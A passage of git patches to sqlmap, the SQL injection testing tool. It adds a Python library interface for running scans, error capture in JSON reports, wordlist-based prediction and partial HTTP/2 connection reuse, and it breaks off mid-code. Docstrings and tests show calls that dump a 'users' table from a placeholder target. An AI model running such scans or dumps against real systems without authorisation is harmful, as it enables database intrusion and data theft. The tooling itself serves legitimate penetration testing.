b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py +906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index ff205d5600c..e23288d4460 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2624,6 +2624,17 @@ def initCommonOutputs(): if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) + # The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much + # more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly + # system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate. + # The mechanism only reorders the charset, so extra coverage never penalizes a miss. + for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + for _ in getFileItems(_path): + kb.commonOutputs.setdefault(_key, set()).add(_) + except SqlmapSystemException: + pass + def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file diff --git a/lib/core/settings.py b/lib/core/settings.py index 23551d478ae..a74f5dc22d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.11" +VERSION = "1.10.7.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d2ead9dcdabdb1b8339281ef3ec6775ac73fd6f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 09:58:48 +0200 Subject: [PATCH 670/853] Adding support for import sqlmap as a library (#2083) --- data/txt/sha256sums.txt | 6 +- lib/core/settings.py | 2 +- lib/utils/library.py | 190 ++++++++++++++++++++++++++++++++++++++++ sqlmap.py | 6 ++ tests/test_library.py | 111 +++++++++++++++++++++++ 5 files changed, 312 insertions(+), 3 deletions(-) create mode 100644 lib/utils/library.py create mode 100644 tests/test_library.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 593e3440104..2dacf0e8aec 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -906d17d317ef11f67d52b30cf6bbcfd67c3af35af0942f697a13c55d9aa89816 lib/core/settings.py +1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,6 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py +b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py @@ -509,7 +510,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py +80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py @@ -626,6 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a74f5dc22d1..2fec00cfd35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.12" +VERSION = "1.10.7.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/library.py b/lib/utils/library.py new file mode 100644 index 00000000000..c30cdeff322 --- /dev/null +++ b/lib/utils/library.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'. +# +# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an +# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so +# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'. + +import json +import os +import sys +import tempfile + +__all__ = ["scan", "scanFromRequest", "SqlmapError"] + +# Absolute path of the engine entry point (this module lives at /lib/utils/library.py) +SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py") + +class SqlmapError(Exception): + """ + Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report + """ + + pass + +def _terminateProcess(process): + """ + Best-effort hard teardown of a scan subprocess together with its whole process group, so a + timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall + back to killing the process itself) + """ + + import signal + + try: + if os.name != "nt" and hasattr(os, "killpg"): + os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM)) + else: + process.kill() + except (OSError, AttributeError): + try: + process.kill() + except (OSError, AttributeError): + pass + +def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options): + """ + Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage). + + Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration + file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So + scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to + the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users', + 'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed + with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no + argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not + expressible as a config option (e.g. raw=["--fresh-queries"]). + + The engine runs fully out-of-process, so a scan can never affect the calling process (no shared + global state, no HTTP-stack patching, no risk of the host being exited). The return value is the + parsed '--report-json' report - the same structure as the REST API '/scan//data' response: a + dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES, + BANNER, DUMP_TABLE, ...), 'error' and 'meta'. + + scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once + in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan, + url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API + subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own + output directory (so parallel scans of the same target can not collide on session/dump files and + nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in + memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass + 'outputDir' to keep the run's files. + + Example: + import sqlmap + result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users") + """ + + import shutil + import subprocess + import time + + from lib.core.common import saveConfig + from lib.core.optiondict import optDict + + if not (url or requestFile): + raise SqlmapError("scan() requires either 'url' or 'requestFile'") + + if not os.path.isfile(SQLMAP_FILE): + raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE) + + knownOptions = set() + for family in optDict.values(): + knownOptions.update(family) + + config = {} + if url: + config["url"] = url + if requestFile: + config["requestFile"] = requestFile + config.update(options) + + unknown = [_ for _ in config if _ not in knownOptions] + if unknown: + raise SqlmapError("unknown option(s) %s - scan() expects sqlmap option names as used in a configuration file (e.g. getBanner, dumpTable, tbl, technique, level), not command line switches" % ", ".join(repr(_) for _ in sorted(unknown))) + + handle, report = tempfile.mkstemp(prefix="sqlmap-", suffix=".json") + os.close(handle) + + # Each run gets its own output directory so concurrent scans can not collide on session/dump files + # and no scan state piles up on disk. A caller-provided 'outputDir' is respected and left in place. + ownOutput = not outputDir + if ownOutput: + outputDir = tempfile.mkdtemp(prefix="sqlmap-output-") + + # engine plumbing goes through the very same option namespace + config["batch"] = True + config["disableColoring"] = True + config["outputDir"] = outputDir + config["reportJson"] = report + + handle, configFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".conf") + os.close(handle) + saveConfig(config, configFile) + + argv = [sys.executable or "python", SQLMAP_FILE, "-c", configFile, "--ignore-stdin"] + if raw: + argv += list(raw) + + logHandle, logFile = tempfile.mkstemp(prefix="sqlmap-", suffix=".log") + devnull = open(os.devnull, "rb") + + kwargs = {"shell": False, "close_fds": os.name != "nt", "cwd": os.path.dirname(SQLMAP_FILE) or '.', "stdin": devnull, "stdout": logHandle, "stderr": subprocess.STDOUT} + if os.name == "nt": + kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0) + elif sys.version_info >= (3, 2): + kwargs["start_new_session"] = True # own process group -> clean group teardown + else: + kwargs["preexec_fn"] = os.setsid + + process = None + try: + process = subprocess.Popen(argv, **kwargs) + + if timeout is None: + process.wait() + else: + end = time.time() + timeout + while process.poll() is None: + if time.time() > end: + _terminateProcess(process) + process.wait() + raise SqlmapError("scan timed out after %s second(s)" % timeout) + time.sleep(0.5) + + try: + with open(report, "rb") as f: + return json.loads(f.read().decode("utf-8", "replace")) + except (IOError, OSError, ValueError): + try: + with open(logFile, "rb") as f: + tail = f.read().decode("utf-8", "replace").strip() + except (IOError, OSError): + tail = "" + raise SqlmapError("scan did not produce a valid report (exit code %s)\n%s" % (getattr(process, "returncode", None), tail[-1000:])) + finally: + try: + os.close(logHandle) + except OSError: + pass + devnull.close() + for path in (report, logFile, configFile): + try: + os.remove(path) + except OSError: + pass + if ownOutput: + shutil.rmtree(outputDir, ignore_errors=True) + +def scanFromRequest(requestFile, **options): + """ + Convenience wrapper for scan(requestFile=...) - runs a scan from a saved HTTP request file ('-r') + """ + + return scan(requestFile=requestFile, **options) diff --git a/sqlmap.py b/sqlmap.py index 59c7e8510f3..77a67d017f9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -664,3 +664,9 @@ def main(): else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") + + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 00000000000..254925c632a --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 47b8b6ed0722957760ed76c7e3dee18098f7c0b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 10:18:58 +0200 Subject: [PATCH 671/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/utils/api.py | 22 ++++++++++++++++++++++ tests/test_library.py | 22 ++++++++++++++++++++++ 4 files changed, 48 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2dacf0e8aec..e1d4174accf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1d609263088c5767b4f92ead270f84cd218d9602007b75b3fd45c1169f183265 lib/core/settings.py +2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -254,7 +254,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py +c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -627,7 +627,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -7780bbd53f4ef48b01b689f3989c62822ee7f326dfc3b4110522c9af93a61482 tests/test_library.py +4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fec00cfd35..2d7b6e045c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.13" +VERSION = "1.10.7.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 90d0c0b9e3c..7b5f39f4389 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -253,6 +253,12 @@ def setupReportCollector(): collector = Database(":memory:") collector.connect("report") collector.init() + + # record error/critical log messages into the collector so that a CLI --report-json report carries + # the same 'error' content the REST API exposes via /scan//data - letting consumers tell a + # failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data') + logger.addHandler(ReportErrorRecorder(collector)) + return collector def writeReportJson(collector, filepath): @@ -449,6 +455,22 @@ def emit(self, record): """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) +class ReportErrorRecorder(logging.Handler): + def __init__(self, collector): + """ + Records error/critical log messages into a report collector's 'errors' table (the counterpart + of StdDbOut's stderr branch for CLI --report-json runs) + """ + logging.Handler.__init__(self) + self.setLevel(logging.ERROR) + self.collector = collector + + def emit(self, record): + try: + self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg))) + except Exception: + pass + def setRestAPILog(): if conf.api: try: diff --git a/tests/test_library.py b/tests/test_library.py index 254925c632a..73b41007d91 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -107,5 +107,27 @@ def __init__(self, argv, **kwargs): self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + if __name__ == "__main__": unittest.main(verbosity=2) From a7c9b721fd97df04ba16c5b8a196f28147e1c033 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 13:39:47 +0200 Subject: [PATCH 672/853] Adding support for HTTP2 connection reusage --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- lib/request/http2.py | 144 +++++++++++++++++++++++++++++++--------- 3 files changed, 117 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1d4174accf..228cd713c73 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2c37b4a614c1d64facc5cf9d22b423316722a41768f57d9c2913dc23d30a7b21 lib/core/settings.py +0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py +7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2d7b6e045c3..55c7bac9874 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.14" +VERSION = "1.10.7.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 81351db4cd3..c885f75cfb6 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -14,6 +14,7 @@ import socket import ssl import struct +import threading try: from http.client import responses as _HTTP_RESPONSES @@ -431,44 +432,86 @@ def _connect_socket(host, port, proxy, timeout): pass raise -def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): - authority = authority or host - ctx = ssl._create_unverified_context() - ctx.set_alpn_protocols(["h2"]) - sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) - try: - if sock.selected_alpn_protocol() != "h2": - raise IOError("server did not negotiate h2 (ALPN=%r)" % sock.selected_alpn_protocol()) - sock.settimeout(timeout) +class _UnprocessedStream(IOError): + """Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below + ours), so the request is always safe to retry on a fresh connection.""" + +class _H2Connection(object): + """A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread. + + Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which + preserves request<->response isolation (clean time-based latency, no desync), exactly like the + thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's + requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful, + so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing + (stateless), hence a fresh one per request is safe on a reused socket.""" + + def __init__(self, host, port, proxy, timeout): + self.host, self.port, self.proxy = host, port, proxy + self.dec = Decoder() # persistent server->client HPACK table + self.next_sid = 1 # odd, strictly increasing per RFC 7540 + self.usable = True + ctx = ssl._create_unverified_context() + ctx.set_alpn_protocols(["h2"]) + self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host) + try: + if self.sock.selected_alpn_protocol() != "h2": + raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol()) + self.sock.settimeout(timeout) + # connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window + self.sock.sendall(CONNECTION_PREFACE) + self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW))) + 